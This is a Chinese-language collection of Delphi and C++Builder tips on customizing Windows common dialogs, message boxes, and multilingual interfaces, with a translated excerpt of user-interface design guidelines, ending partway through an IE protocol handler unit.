procedure TForm1.N1Click(Sender: TObject);

var

vRect: TRect;

begin

GetMenuItemRect(Handle, PopupMenu1.Handle, TMenuItem(Sender).MenuIndex, vRect);

Caption := Format('%d,%d', [vRect.Left, vRect.Right]);

end;


自己实现Win2000 OpenDialog的PlaceBar功能？

自己实现Win2000 OpenDialog的PlaceBar功能？

BCB_FANS:

TMD，那些老外就喜欢采用一些歪门邪道的技术。不知道你有没有这样的印象，如果你在那个文件名编辑框中输入一个目录名，然后按确定按钮，那个对话框并没有被关闭，而是切换到那个新的目录。那个Folder Cache就是这样工作的，只是它把这些步骤用程序自动化执行了，具体步骤如下：

1、首先保存那个文件名编辑框的值

2、在那个编辑框中设置新的目录名

3、模拟鼠标单击“确定”按钮，这时候对话框切换到新的目录

4、恢复原来编辑框的值

----------------------------------

下面是我的C++Builder代码，只贴出关键部分，其它免了。

TButton *Btn;

TPanel* Panel;

HWND hFileNameWnd;

HWND hOkButtonWnd;

//DoShow

void __fastcall TMyOpenDialog::DoShow(void)

{

TRect PreviewRect, StaticRect;

//在对话框中添加一个按钮

GetClientRect ( this->Handle, (RECT*)&PreviewRect );

StaticRect = this->GetStaticRect();

PreviewRect.Left = StaticRect.Left + (StaticRect.Right - StaticRect.Left);

Panel = new TPanel(this);

Panel->BoundsRect = PreviewRect;

Btn = new TButton(this);

Btn->Parent = Panel;

Btn->OnClick = ButtonClick;//设置按钮事件句柄

Panel->ParentWindow = this->Handle;

//得到“文件名”编辑控件和“确定”按钮的句柄

hFileNameWnd = GetDlgItem(GetParent(this->Handle),0x480);

hOkButtonWnd = GetDlgItem(GetParent(this->Handle),1);

}

//---------------------------------------------------------------------------

//ButtonClick

void __fastcall TMyOpenDialog::ButtonClick(TObject *Sender)

{

if(hFileNameWnd != NULL)

{

char PrevBuf[64];

//先保存原来的值

GetWindowText(hFileNameWnd,PrevBuf,sizeof(PrevBuf));

///设置新的文件夹

AnsiString NewPath;

NewPath = "f:\inprise";

SetWindowText(hFileNameWnd,NewPath.c_str());

//模拟鼠标单击“确定”按钮

SendMessage(hOkButtonWnd,WM_LBUTTONDOWN,(WPARAM)MK_LBUTTON,(LPARAM)MAKEWORD(0,0));

SendMessage(hOkButtonWnd,WM_LBUTTONUP,(WPARAM)MK_LBUTTON,(LPARAM)MAKEWORD(0,0));

//恢复原来的值

SetWindowText(hFileNameWnd,PrevBuf);

//因为鼠标在“确定”上单击，所以它得到焦点，必须取消掉，否则会留下痕迹。

//那个Folder Cache有Bug，它没有执行这一步，所以“确定”按钮仍然具有焦点，

//从另一方面来说，这倒成为我的推断的证据^_^

::SetFocus(Btn->Handle);

}

}

//---------------------------------------------------------------------------


强制OpenDialog只能打开某个目录

强制OpenDialog只能打开某个目录

强制OpenDialog只能在某个目录下面选择文件，或者只能打开某个目录：

只是一最简单的例子而已，如果要实现的比较好的话，可以自己写代码了。

type

TForm1 = class(TForm)

OpenDialog1: TOpenDialog;

Button1: TButton;

Memo1: TMemo;

procedure OpenDialog1FolderChange(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

Busy:Boolean;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure SetOpenDialogDir(hWnd: HWND; Path: string;var Busy:Boolean);

const

ID_FILENAME_98 = 1152;

ID_FILENAME_WIN2K=1148;

ID_OK = 1;

var

hFileName: THandle;

hOK: THandle;

Buff:string[255];

begin

if Busy then exit;

Busy:=True;

if Win32MajorVersion >= 5 then

begin

hFileName:= GetDlgItem(GetParent(hWnd), ID_FILENAME_WIN2K);

hFileName:=FindWindowEx(hFileName,0,'ComboBox',nil);

hFileName:=FindWindowEx(hFileName,0,'Edit',nil);

end else hFileName := GetDlgItem(GetParent(hWnd), ID_FILENAME_98);

hOK := GetDlgItem(GetParent(hWnd), ID_OK);

GetWindowText(hFileName,@Buff[1],Length(Buff));

if LowerCase(Buff)=LowerCase(Path) then exit;

SetWindowText(hFileName, pchar(Path));

SendMessage(hOK, WM_LBUTTONDOWN, MK_LBUTTON, MAKEWORD(0, 0));

SendMessage(hOK, WM_LBUTTONUP, MK_LBUTTON, MAKEWORD(0, 0));

Busy :=False;

end;

procedure TForm1.OpenDialog1FolderChange(Sender: TObject);

begin

SetOpenDialogDir(OpenDialog1.Handle, 'C:,Busy);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

OpenDialog1.Execute;

end;


自定义公用对话框的一些Label

自定义公用对话框的一些Label：

procedure TForm1.OpenDialog1Show(Sender: TObject);

{First, we need to determine identifiers of dialog's

controls, they are following:}

const

LB_FILETYPES_ID = 1089; // "File types:" label

LB_FILENAME_ID = 1090; // "File name:" label

LB_DRIVES_ID = 1091; // "Look in:" label

Str1 = 'Four';

Str2 = 'Five';

Str3 = 'One';

Str4 = 'Two';

Str5 = 'Three';

var

hOpenDialog: HWND;

begin

hOpenDialog := GetParent(OpenDialog1.Handle);

SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, idOk, Longint(PChar(Str1)));

SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, idCancel, Longint(PChar(Str2)));

SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_FILETYPES_ID, Longint(PChar(Str3)));

SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_FILENAME_ID, Longint(PChar(Str4)));

SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_DRIVES_ID, Longint(PChar(Str5)));

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

OpenDialog1.Execute;

end;

***********

procedure TForm1.PrintDialog1Show(Sender: TObject);

begin

SetWindowText(GetDlgItem(PrintDialog1.Handle, idOk), '&OK2');

SetWindowText(GetDlgItem(PrintDialog1.Handle, idCancel), '&Cancel2');

SetWindowText(GetDlgItem(PrintDialog1.Handle, 1025), '&Properties2');

end;

// to Enumerate Control - IDs:

function EnumProc(wnd: HWND; Lines: TStrings): BOOL; stdcall;

var

buf, Caption: array [0..255] of char;

begin

Result := True;

GetClassname(wnd, buf, 256);

GetWindowText(wnd, Caption, 256);

Lines.Add(Format('ID: %d, class: %s, caption: %s',

[GetDlgCtrlID(wnd), buf, Caption]));

end;

procedure TForm1.PrintDialog1Show(Sender: TObject);

begin

memo1.Clear;

EnumChildWindows(Printdialog1.Handle, @EnumProc, Integer(memo1.Lines));

end;

注意，OpenDialog.Handle不是那个窗口的Handle，需要用GetParent(OpenDialog.Handle)来获取真正的Handle。

因此EnumChildWindows对于OpenDialog来说，应该是：

EnumChildWindows(GetParent(OpenDialog1.Handle),@EnumProc,Integer(Memo1.Lines));

{ Win2K OpenDialog的ID和Class信息：

ID: 1091, class: Static, caption: 查找范围(&I):

ID: 1137, class: ComboBox, caption:

ID: 1088, class: Static, caption:

ID: 1088, class: ToolbarWindow32, caption:

ID: 1120, class: ListBox, caption:

ID: 1090, class: Static, caption: 文件名(&N):

ID: 1148, class: ComboBoxEx32, caption:

ID: 1148, class: ComboBox, caption:

ID: 1148, class: Edit, caption:

ID: 1089, class: Static, caption: 文件类型(&T):

ID: 1136, class: ComboBox, caption:

ID: 1040, class: Button, caption: 以只读方式打开(&R)

ID: 1, class: Button, caption: 打开(&O)

ID: 2, class: Button, caption: 取消

ID: 1038, class: Button, caption: 帮助(&H)

ID: -1, class: ScrollBar, caption:

ID: 0, class: #32770, caption:

}


线程MessageBox

如何向十一个Modal对话框，但是又可以对主窗体进行最大化/最小化等操作？

请使用下面的函数ThrMsgBox即可。

unit Unit2;

interface

uses Classes,Windows,Forms;

function ThrMsbBox(hWnd:HWND;Caption,Text:string;dlgType:integer):integer;

implementation

var

RValue:integer;

type

TMyThread=class(TThread)

FCaption,FText:string;

FType:integer;

FOwn:HWND;

public

constructor Create(hWnd:HWND;Caption,Text:string;DlgType:integer);

procedure Execute;override;

end;

{ TMyThread }

constructor TMyThread.Create(hWnd:HWND;Caption, Text: string; DlgType: integer);

begin

FCaption :=Caption;

FText :=Text;

FType :=DlgType;

FOwn :=hWnd;

FreeOnTerminate := False;

inherited Create(False);

end;

procedure TMyThread.Execute;

begin

RValue := MessageBox(FOwn,pchar(FText),pchar(FCaption),FType);

Terminate;

end;

function ThrMsbBox(hWnd:HWND;Caption,Text:string;dlgType:integer):integer;

var

Thr:TMyThread;

begin

Thr:=TMyThread.Create(hWnd, Caption,Text,dlgType);

repeat

Application.ProcessMessages;

until Thr.Terminated;

Thr.Free;

Result :=RValue;

end;

end.


如何让InputBox也能使用密码掩码？

我们经常使用InputBox，但是，一个缺点就是，Inputbox不能有密码掩码的功能，就是用*掩盖输入的字符，下面的代码演示了一个巧妙的方法来做到这一点：

const

InputBoxMessage = WM_USER + 200;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

procedure InputBoxSetPasswordChar(var Msg: TMessage); message InputBoxMessage;

public

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.InputBoxSetPasswordChar(var Msg: TMessage);

var

hInputForm, hEdit, hButton: HWND;

begin

hInputForm := Screen.Forms[0].Handle;

if (hInputForm <> 0) then

begin

hEdit := FindWindowEx(hInputForm, 0, 'TEdit', nil);

{

// Change button text:

hButton := FindWindowEx(hInputForm, 0, 'TButton', nil);

SendMessage(hButton, WM_SETTEXT, 0, Integer(PChar('Cancel')));

}

SendMessage(hEdit, EM_SETPASSWORDCHAR, Ord('*'), 0);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

InputString: string;

begin

PostMessage(Handle, InputBoxMessage, 0, 0);

InputString := InputBox('Input Box', 'Please Enter a Password', '');

end;


Wizard程序
用API写的Wizard程序。

下载>>>> Wizard97.rar


用户界面设计提示与技巧

用户界面设计提示与技巧（节选）

AmbySoft Inc. 白皮书

Scott W. Ambler

资深面向对象设计顾问

AmbySoft Inc.

本部分包括了有助于程序员进行面向对象的用户界面设计的一系列技巧。

1. 一致性，一致性，一致性！必须保证用户界面的一致性，这是最重要的。如果你可以通过在某个列表框里双击其中一个条目来触发一个事件，那你必须保证在所有的列表框里双击条目都会产生相似的反应。所有窗口里的按钮都应该放在同一个位置，按钮标题与提示的措辞应保持一致，还应保持一致的色彩设置。一致的用户界面会使得使用者建立起关于应用程序工作流程的正确理解，而用户对应用程序工作流程的正确理解会带来更低的训练与支持费用。

2. 制订并严格遵守标准。使得你能够真正的保持一致性原则的唯一一个解决办法是制订一个用户界面设计标准并严格遵守。最好的办法是遵循当前的行业标准，同时根据你个人的应用程序的特殊需要不断的加以增添和完善。行业标准，例如IBM（1993）与Microsoft（1995）指定的用户界面设计规范可以满足一般用户界面设计者95%-99%的需要。采用行业标准不仅可以吸收同行的优秀建议，而且可以更容易的使你的应用程序用户界面与最终用户已经使用或者购买的其他同类软件产品的用户界面保持近似。

3. 更简单的解释你的规则。你的软件用户需要知道如何使用你为他们提供的软件产品。如果你的应用程序界面严格遵守一致性原则的话某个界面使用规则你只需要解释一遍，这比一步又一步的向用户解释每一个使用环节的每一个使用方法要简单的多。

4. 为初学者与专家都提供足够的支持。虽然一个图书目录能为一个随意的浏览者提供足够的图书馆藏书信息，但这不是最有效的为专业用户以及图书馆员提供服务的方法。图书馆员是经过专业训练的能够熟练运用复杂的信息检索系统在图书馆里查阅信息的人员。这意味着你必须为专业人员准备一套更复杂但功能更强大的搜索手段来满足他们的特殊需要。

5. 在窗口之间进行导航与指引是非常重要的。如果从一个窗口进入到另一个窗口变得很困难或者复杂，你的用户会有强烈的失败感并放弃使用软件。用户会试图尽量使得自己的工作流程与界面转接流程合拍，如果用户成功的做到这一点的话就会觉得在使用你的应用程序时非常顺手。但必须注意，不同的使用者有不同的工作流程，你的界面转接流程必须足够灵活以适应各种不同的用户习惯与需求。界面流程图可以很方便的用来设计并实现一个优秀的用户界面窗口转接流程。

6. 在一个窗口中的使用导引也非常重要。西方人的阅读习惯是从左到右，由上至下。因为人们已对此习以为常所以你在界面设计中必须遵循从左到右，由上至下的原则。如果你将窗口中的控件元素以令人舒适的顺序加以组织的话用户在使用中会对界面产生一种亲切感。

7. 适当的用户界面的标签与消息内容措辞。显示在用户界面上的文字是你的用户了解当前系统状态的最主要也是最重要的信息来源。拙劣的措辞在用户看来只会导致拙劣的用户界面。使用完整的词语与句子，尽量不采用缩写的短语与代码可以使你的信息被更好的理解。信息的语气必须是确定的，暗示用户一切都处于控制之中，同时保证使用户得知如何进行下一步动作。例如下列信息：“你输入了错误的信息”或者“账号长度必须为8位”。而且，提示信息必须保持一致的措辞以及显示位置的一致性。虽然“必须输入用户名”、“应该输入账号”的措辞分开来看没有问题，但它们没有保持一致。因此，如果以第一句为标准的话，第二句应改为“必须输入账号”来保持措辞的一致性。

8. 理解每一个控件。你必须保证使用正确的控件来完成某个特定的任务，这有助于增强用户界面的一致性与第一次使用该应用软件时的简易性。保证正确的使用每一个控件的唯一方法就是熟悉并且理解你所采用的用户界面设计标准与特点。

9. 仔仔细细的观察别的应用软件用户界面。除非你确定别的应用软件用户界面设计与你的项目遵循同一个标准。绝对不能事先在潜意识中认为另外的应用软件用户界面设计是正确的。虽然通过观察别的用户界面设计来吸取设计灵感与思想是个好办法，但在你能够保证自己拥有判断一个优秀的用户界面与一个拙劣的用户界面之间的区别之前不要这么做。已经有很多的开发者与设计者错误的模仿了某些后来证明是不正确的用户界面设计思想。

10. 适当的使用色彩。必须加以控制的使用色彩，如果你在某一处使用了色彩来表达信息的话就必须保证用户还可以从别的方面获得同样的信息，因为很有可能你的软件用户是一个色盲。如果你使用高亮色来突出屏幕上的某个信息，你就必须同时使用一种别的手段来保证色盲用户也能正确的注意到这个信息，比如在画面上显示一个提示符号。使用色彩同样要求保持严格的一致性以保证用户界面的一致性。另外，在不同的平台之间很难保证一致的色彩表现，在一个系统上表现不错的色彩设计在另一个系统上很可能表现很糟糕。我们经常在一些会议上听到某些人说“在我家里的机器上看起来很不错的...”

11. 遵循色彩对比度规则。如果你决定在界面上使用色彩你就必须保证在各种可能情况下窗口文本的可读性。最好的解决办法是遵循色彩对比度规则：即在浅色背景上显示深色文本或者在深色背景上显示浅色文本。阅读白色背景上的蓝色文本非常轻松但红色背景与蓝色文本搭配就不是那么令人舒适了，因为红色与蓝色没有足够的对比度来保证文本的可读性，而白色与蓝色就有足够的对比度。

12. 使用适当的字体。古体字如果出现在威廉·莎士比亚的剧本封面上看起来确实很不错，但如果显示在屏幕上就会使用户阅读起来很困难。使用容易阅读的字体，例如Times Roman等印刷字体。另外在使用字体时应该很小心的保持一致性。一个使用了两到三种不同字体效果的窗口比使用了五、六种字体的窗口看起来要舒服的多。记住当你每一次改动字体的大小、类型（粗体、斜体、下划线、……）、字体、颜色时你实际上都是在使用另一种不同的字体。

13. 禁止使用，而不是不显示。你会发现在某一个特定的时候无法为你的用户提供应用程序的所有功能，例如在用户删除一个条目之前必须先选择一个条目，而在选择一个条目之前删除功能是无法使用的。这时（在选择一个条目之前）是禁止使用删除按钮还是根本不显示删除按钮？答案是前者。在一个控件无法使用时禁止它会使你的用户建立对你的软件产品的工作流程的准确理解。如果你不显示该控件的话就会增加用户对软件产品工作流程建立准确的理解的难度，因为用户现在只知道什么是可用的，而不知道什么是不可用的。这时那句古老的格言“Out of sight is out of mind”就显得很有道理。

14. 使用非破坏性功能的默认按钮。一般每一个窗口都有一个默认的按钮，当用户按下回车键时就相当于按下该按钮。问题是用户偶尔会因为无意按下回车键而使得该默认按钮生效。因此必须保证默认的按钮功能不存在潜在的破坏性，比如删除或者保存（因为用户这时候很可能并不想保存）。

15. 区域的组织排列。当一个窗口有一个以上的输入框控件的时候，如果你加以组织排列的话窗口看起来会很吸引人并且提高了用户的工作效率。正如第一节所述，左对齐是最好的控件排列方法，也就是说所有输入控件的左边界处于同一条竖直线并一个一个的从上到下排列起来。同时每个输入控件相应的标签以右对齐的方式位于输入控件的左边。这是组织窗口区域的最简单而有效的方式。

16. 对齐数据。一般来说一列数据应以下列方式对齐：整形数右对齐，浮点数以小数点为基准对齐，字符串左对齐。

17. 不要把窗口塞的过于拥挤。拥挤的窗口非常难于理解并且难于使用。试验结果表明（Mayhew，1992）整体窗口布局的密度不应大于40%，局部密度不应该大于62%。

18. 将窗口元素加以有效的分组。逻辑上有关联的条目应该放到一起以表明它们在逻辑上的关联性，相互毫无关系的条目则应该分开。你可以用空白区域将它们分开，也可以使用箱型控件分别加以包括以达到分组的目的。

19. 当前要处理的窗口应该显示在用户关心的地方。当你的用户通过双击一个对象来显示其编辑/细节窗口时他（或她）的注意力都被集中到了这一点。因此接下来显示的窗口也应该显示在这一区域而不是别的什么地方。

20. 弹出菜单不应该是用来调用软件功能的唯一手段。如果你隐藏了软件产品的主要功能的话用户是不会试图自己去发掘它们的。开发者最容易犯的错误就是滥用弹出菜单，也叫上下文相关菜单。一般来说当用户使用鼠标在屏幕上显示弹出菜单时该菜单内容应该只与用户当前点击区域的内容有关


鼠标移入移出时播放声音

在Form中重载wndproc:

procedure WndProc(var Message : TMessage); override;

procedure TForm1.WndProc(var Message : TMessage);

begin

if Message.LParam = Longint(Button1) then

begin

if (Message.Msg = CM_MOUSELEAVE) then

sndPlaySound(nil, snd_Async or snd_NoDefault);

if (Message.Msg = CM_MOUSEENTER) then

sndPlaySound(pchar(FSoundFile), snd_Async or snd_NoDefault);

end;

inherited WndProc(Message);

end;


多国语言界面

开发简繁体软件或多国语言程序的方法：

开发的方法是设计一个资源文件的动态连接库文件。

比如您现在开发的是中文简体版的软件，计划转成繁体软件，实现的方法是：

1。打开您的项目文件

2。在文件中新开一个file找到动态资源文件的精灵工具，执行过程中全部选择NEXT选择中国语

3。在子目录CHS中就自动生成一个动态资源项目。

4。利用DELPHI 本身提供的DOS下转换工具，将窗口程序转换为*.TXT文件，繁体后，然后再转换回原来的格式。抄道CHS子目录中。

5。再用文书编辑器修改*.RES的文件中的简体为繁体，抄道子目录中去，并删除原来的PRJSTS.RES 修改您的繁体资源文件名为PRJSTS.RES。

6。重新编译这个动态连接库项目。

7。抄*.CHS文件到您原来的简体执行文件处执行，就是繁体字了。

*8*主要注意项目设置需要将project选中。

如果您想知道DELPHI 在编译过程中如何调用API可打开*.MAP文件查看。

而且，您必须要看。写一个多国语言的调用程序，大概将方法说以下：

在您的程序第一个可以加的地方加入下列调用的方法，程序自动实现多国语自动转换，不必人工选择，比天心的方法还好用。

var

s:pchar;

begin

getlocaleinfo(local_system_default,locale_sabbrevlangname,s,3);

renname xxx.chs1 xxx.chs

end


多语言界面的实现

用Delphi实现多语言界面

关键字：多语言界面，Delphi，国际化，本地化。

随着Internet在全球的普及，一个软件开发者，开发出来的产品可以随意发布到全球各个角落，然而与此同时，开发出来的产品也面临着一个新的问题：如何实现各种不同的语言界面，甚至根据最终用户的操作系统的语言版本，自动更改语言界面？难道为每一个不同的语言编写一个不同的版本？不，完全没有必要。Delphi 5.0作为一个优秀的快速RAD开发工具，可以很容易地实现国际化支持，因为Delphi 5.0内置了对多语言界面的支持。

一个程序，如果需要不同的语言版本，那么应该有一下几点需要注意的地方[]：

1. 必须允许你的程序代码能够处理好各种语言字符串，例如如果要中文化，必须能够处理双字节。

2. 你必须设计好你的程序界面，以便能够使你的程序界面元素有足够的空间显示语言文字信息。一般说来，在50个字节以内的英文单词所表达的意思，用其他的语言来描述的话，长度要超过50字节，但中文是一个例外。特别对于几个字节的英文单词，其他的语言的长度几乎百分之百要超过英文的长度！因此，必须在控件中留出足够的长度以便在更改语言之后，还能显示全部的语言文字信息。

3. 你必须翻译所有的资源。

本文将着重讨论如何用Delphi 5.0实现多语言的支持和切换，界面设计和上述要求不在本文讨论范围之内。

要为程序添加语言支持，只要在Delphi主菜单项Project下面选择Languages?Add…即可。点击之后出现语言向导，读者按照向导进行操作即可。向导结束之后，会生成一个工程组文件(BPG)，最后出现Translation Manager，软件开发者可以在这里翻译所有语言的所有资源，包括字体、位置、文字等等。说明一下：你可以随时随地用Project下面的Languages子菜单的功能来添加、删除、修改各种界面元素。

做完上述工作之后，我们现在就差切换语言的代码了。为了切换语言，大家可以使用下面的一个单元[]，单元中提供了两个函数，用来更换语言界面元素，其中LoadNewResourceModule是用来修改文字信息等等，ReinitializeForms用来重新刷新窗体和控件以保证同步。

///文件名：MaltiLan.pas

unit MaltiLan;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms;

procedure ReinitializeForms;

function LoadNewResourceModule(Locale: LCID): Longint;

implementation

type

TAsInheritedReader = class(TReader)

Public

procedure ReadPrefix(var Flags: TFilerFlags; var AChildPos: Integer); Override;

end;

procedure TAsInheritedReader.ReadPrefix(var Flags: TFilerFlags; var AChildPos: Integer);

begin

inherited ReadPrefix(Flags, AChildPos);

Include(Flags, ffInherited);

end;

function SetResourceHInstance(NewInstance: Longint): Longint;

var

CurModule: PLibModule;

begin

CurModule := LibModuleList;

Result := 0;

while CurModule <> nil do

begin

if CurModule.Instance = HInstance then

begin

if CurModule.ResInstance <> CurModule.Instance then

FreeLibrary(CurModule.ResInstance);

CurModule.ResInstance := NewInstance;

Result := NewInstance;

Exit;

end;

CurModule := CurModule.Next;

end;

end;

function LoadNewResourceModule(Locale: LCID): Longint;

var

FileName: array[0..260] of char;

P: PChar;

LocaleName: array[0..4] of Char;

NewInst: Longint;

begin

GetModuleFileName(HInstance, FileName, SizeOf(FileName));

GetLocaleInfo(Locale, LOCALE_SABBREVLANGNAME, LocaleName, SizeOf(LocaleName));

P := PChar(@FileName) + lstrlen(FileName);

while (P^ <> '.') and (P <> @FileName) do Dec(P);

NewInst := 0;

Result := 0;

if P <> @FileName then

begin

Inc(P);

if LocaleName[0] <> #0 then

begin

// Then look for a potential language/country translation

lstrcpy(P, LocaleName);

NewInst := LoadLibraryEx(FileName, 0, LOAD_LIBRARY_AS_DATAFILE);

if NewInst = 0 then

begin

// Finally look for a language only translation

LocaleName[2] := #0;

lstrcpy(P, LocaleName);

NewInst := LoadLibraryEx(FileName, 0, LOAD_LIBRARY_AS_DATAFILE);

end;

end;

end;

if NewInst <> 0 then

Result := SetResourceHInstance(NewInst)

end;

function InternalReloadComponentRes(const ResName: string; HInst: THandle; var Instance: TComponent): Boolean;

var

HRsrc: THandle;

ResStream: TResourceStream;

AsInheritedReader: TAsInheritedReader;

begin { avoid possible EResNotFound exception }

if HInst = 0 then HInst := HInstance;

HRsrc := FindResource(HInst, PChar(ResName), RT_RCDATA);

Result := HRsrc <> 0;

if not Result then Exit;

ResStream := TResourceStream.Create(HInst, ResName, RT_RCDATA);

try

AsInheritedReader := TAsInheritedReader.Create(ResStream, 4096);

try

Instance := AsInheritedReader.ReadRootComponent(Instance);

finally

AsInheritedReader.Free;

end;

finally

ResStream.Free;

end;

Result := True;

end;

function ReloadInheritedComponent(Instance: TComponent; RootAncestor: TClass): Boolean;

function InitComponent(ClassType: TClass): Boolean;

begin

Result := False;

if (ClassType = TComponent) or (ClassType = RootAncestor) then Exit;

Result := InitComponent(ClassType.ClassParent);

Result := InternalReloadComponentRes(ClassType.ClassName, FindResourceHInstance(

FindClassHInstance(ClassType)), Instance) or Result;

end;

begin

Result := InitComponent(Instance.ClassType);

end;

procedure ReinitializeForms;

var

Count: Integer;

I: Integer;

Form: TForm;

begin

Count := Screen.FormCount;

for I := 0 to Count - 1 do

begin

Form := Screen.Forms[I];

ReloadInheritedComponent(Form, TForm);

end;

end;

end.

测试程序窗体单元文件如下：

///单元文件名：unit1.pas

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Menus, MLanTool, ExtCtrls, StdCtrls;

type

TForm1 = class(TForm)

MainMenu1: TMainMenu;

File1: TMenuItem;

Exit1: TMenuItem;

Language1: TMenuItem;

Chese1: TMenuItem;

English1: TMenuItem;

Button1: TButton;

Memo1: TMemo;

ListBox1: TListBox;

GroupBox1: TGroupBox;

Panel1: TPanel;

procedure Exit1Click(Sender: TObject);

procedure Chese1Click(Sender: TObject);

procedure English1Click(Sender: TObject);

Private

{ Private declarations }

Public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

const

ENGLISH = (SUBLANG_ENGLISH_US shl 10) or LANG_ENGLISH;

CHINESE = (SUBLANG_CHINESE_SIMPLIFIED shl 10) or LANG_CHINESE;

procedure TForm1.Exit1Click(Sender: TObject);

begin

Close;

end;

procedure TForm1.Chese1Click(Sender: TObject);

begin

if LoadNewResourceModule(CHINESE) <> 0 then

ReinitializeForms;

end;

procedure TForm1.English1Click(Sender: TObject);

begin

if LoadNewResourceModule(ENGLISH) <> 0 then

ReinitializeForms;

end;

end.

如果要自动切换语言，只要在FormCreate事件中添加如下代码即可：

if LoadNewResourceModule(SysLocale.DefaultLCID) <> 0 then

ReinitializeForms;

说明一点：在程序完成的时候，你应该用Luanguages子菜单的Update Resources DLL功能更新所有的窗体和代码，然后用Build All Project编译所有的文件，这样才能保证你的程序正常运行。

所有的源代码可以到<http://kingron.myetang.com/soft/MultiLan.rar>下载。

后记：其实用INI文件也可以实现多语言界面的切换，好处是可以方便大家随时添加不同的语言文件，但是，对于一个大型的程序来说，用INI是不现实的。用INI实现语言界面的程序，大家可以到<http://kingron.myetang.com/soft/winupx.rar>下载源代码和测试程序。


不同平台程序的界面问题

在winnt、win2000下编的程序，拿到win98下打开界面就不一样了？？这是怎么回事？有没有办法解决？？

这是由于系统颜色变化的原因，比如按钮的颜色不用RGB表示，而用常量BUTTON_FACE表示（只是举个例子），这样，用户选择配则方案是才会有意义，但是Win98默认的系统配色方案“Windows标准”在Win2000中叫“Windows经典”，而Win2000中的“Windows标准”比Win98的“Windows标准”配色方案的颜色略浅。

有两个解决办法，第一是使用RGB颜色，既给每个控件赋予RGB颜色，第二个办法是在不同的操作系统下编译程序，制作For 98和For2000的两个版本

使用RGB颜色就是在color属性中填入数字，如填入$008396A0

GetDialogBaseUnits

MapDialogRect

真真气人，原来是Font里的字符集不一样。

win2000、nt里有《西文》这种字符集；可是在98里就没有，所以出了那样的乱子。

哈哈，真是太粗心了


类似Norton AntiVirus 2002界面

NVA2002是采用IE页面进行控制的，这类界面怎么做？

下面这个单元可以简化类似界面的设计。

unit DynamicNS_D3;

{

Dynamic Protocol For Delphi 3 or High.

--------------------------------------------

Create Time : 2001.12.6

Update Time : 2002.7.9

Version : Release 3

Author : JoJo

--------------------------------------------

Copyright 1996-2001 Think Space Soft

--------------------------------------------

Note : If use in Delphi 3, you must update urlmon unit.

}

interface

uses

Classes, Windows, Forms, Axctrls, dialogs, SysUtils, ComObj, ActiveX, UrlMon;

const

Class_DynamicNS: TGUID = '{C379EAD1-CB34-4B09-AF6B-7E587F8BCD80}';

type

TDynamicNS = class(TComObject, IInternetProtocol)

private

Url: string;

HaveData : Boolean;

Written, TotalSize: Integer;

ProtSink: IInternetProtocolSink;

DataStream: IStream;

protected

// IInternetProtocol Methods

function Start(szUrl: PWideChar; OIProtSink: IInternetProtocolSink;

OIBindInfo: IInternetBindInfo; grfPI, dwReserved: DWORD): HResult; stdcall;

function Continue(const ProtocolData: TProtocolData): HResult; stdcall;

function Abort(hrReason: HResult; dwOptions: DWORD): HResult; stdcall;

function Terminate(dwOptions: DWORD): HResult; stdcall;

function Suspend: HResult; stdcall;

function Resume: HResult; stdcall;

function Read(pv: Pointer; cb: ULONG; out cbRead: ULONG): HResult; stdcall;

function Seek(dlibMove: LARGE_INTEGER; dwOrigin: DWORD;

out libNewPosition: ULARGE_INTEGER): HResult; stdcall;

function LockRequest(dwOptions: DWORD): HResult; stdcall;

function UnlockRequest: HResult; stdcall;

//Load Data Function

function LoadData(URL:String):Boolean;

end;

TAcceptEvent = procedure (const URL:String;var Accept:Boolean) of object;

TContentEvent = procedure (const URL:String;var Stream:TStream) of object;

TDynamicProtocol = class(TObject)

private

Factory: IClassFactory;

InternetSession: IInternetSession;

FOnAccept : TAcceptEvent;

FOnGetContent : TContentEvent;

FProtocolName : String;

FEnabled : Boolean;

function GetProtocolName : String;

procedure SetProtocolName(const Value:String);

function GetEnabled : Boolean;

procedure SetEnabled(const Value:Boolean);

procedure StartProtocol;

procedure StopProtocol;

protected

function Accept(const URL:String):Boolean;

function LoadContent(const URL:String):TStream;

public

constructor Create;

destructor Destroy; override;

property ProtocolName : String read GetProtocolName

write SetProtocolName;

property Enabled : Boolean read GetEnabled

write SetEnabled;

property OnAccept : TAcceptEvent read FOnAccept

write FOnAccept;

property OnGetContent : TContentEvent read FOnGetContent

write FOnGetContent;

end;

var

DynamicProtocol : TDynamicProtocol;

implementation

uses

comserv;

function TDynamicNS.Start(szUrl: PWideChar; OIProtSink: IInternetProtocolSink;

OIBindInfo: IInternetBindInfo; grfPI, dwReserved: DWORD): HResult; stdcall;

begin

Url := SzUrl;

written := 0;

HaveData := False;

// ShowMessage(URL);

//Load data here

if not LoadData(URL) then Result := S_FALSE else begin

HaveData := True;

ProtSink := OIProtSink;

ProtSink.ReportData(BSCF_FIRSTDATANOTIFICATION or

BSCF_LASTDATANOTIFICATION or BSCF_DATAFULLYAVAILABLE, TotalSize, TotalSize);

ProtSink.ReportResult(S_OK, S_OK, nil);

Result := S_OK; end;

end;

function TDynamicNS.Read(pv: Pointer; cb: ULONG; out cbRead: ULONG): HResult;

begin

DataStream.Read(pv, cb, @cbRead);

Inc(written, cbread);

if (written = totalSize) then result := S_FALSE else Result := E_PENDING;

end;

function TDynamicNS.Terminate(dwOptions: DWORD): HResult; stdcall;

begin

if HaveData then

begin

DataStream._Release;

Protsink._Release;

end;

result := S_OK;

end;

function TDynamicNS.LockRequest(dwOptions: DWORD): HResult; stdcall;

begin

result := S_OK;

end;

function TDynamicNS.UnlockRequest: HResult;

begin

result := S_OK;

end;

function TDynamicNS.Continue(const ProtocolData: TProtocolData): HResult;

begin

result := S_OK;

end;

